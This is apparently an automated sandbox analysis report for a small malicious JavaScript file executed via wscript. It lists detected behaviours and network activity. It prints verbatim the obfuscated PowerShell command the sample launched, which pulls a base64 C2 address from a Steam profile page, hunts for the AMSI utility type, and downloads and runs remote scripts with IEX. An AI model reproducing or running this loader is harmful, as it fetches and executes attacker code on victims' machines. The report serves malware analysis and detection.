Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
10/09/2026, 23:43
General
- Target jaffacakes118_04190a5f812a737af1ec100af61a165dd3e73f1f3540d5bc011d9269a424e61d.js
- Size 1KB
- Sample260910-3ql81axdpf
- SHA256 04190a5f812a737af1ec100af61a165dd3e73f1f3540d5bc011d9269a424e61d
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\jaffacakes118_04190a5f812a737af1ec100af61a165dd3e73f1f3540d5bc011d9269a424e61d.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$yvf155d=('R'+'ef' -as [Type]).('As'+'se'+'mb'+'ly').GetTypes();$tspn7w36n = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(((((iwr -useb 'https://steamcommunity.com/profiles/76561199857376321').content -split 'g_rgProfileData =')[1] -split '.?summary.?:.?')[1] -split '.?}')[0])); Foreach($r7c7a in $yvf155d) {if ($r7c7a.Name -like '*ams*U?*ls') {$c=$r7c7a}}; $env:paths = '7zF2T2ZKEJRC'; IEX(iwr ($tspn7w36n+'/tweetersUm3.php')); IEX(iwr ($tspn7w36n+'/railheads7tV4.ps1'))"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_ps5243ie.aue.ps1
memory/2088-7-0x00000000059C0000-0x0000000005A26000-memory.dmp
memory/2088-3-0x0000000002BD0000-0x0000000002BE0000-memory.dmp
memory/2088-4-0x00000000052B0000-0x00000000058D8000-memory.dmp
memory/2088-5-0x0000000005240000-0x0000000005262000-memory.dmp
memory/2088-6-0x0000000005950000-0x00000000059B6000-memory.dmp
memory/2088-2-0x0000000002B10000-0x0000000002B46000-memory.dmp
memory/2088-1-0x0000000002BD0000-0x0000000002BE0000-memory.dmp
memory/2088-15-0x0000000005BC0000-0x0000000005F14000-memory.dmp
memory/2088-16-0x00000000060F0000-0x000000000610E000-memory.dmp
memory/2088-17-0x0000000006130000-0x000000000617C000-memory.dmp
memory/2088-18-0x00000000064D0000-0x00000000064EA000-memory.dmp
memory/2088-19-0x0000000007B20000-0x000000000819A000-memory.dmp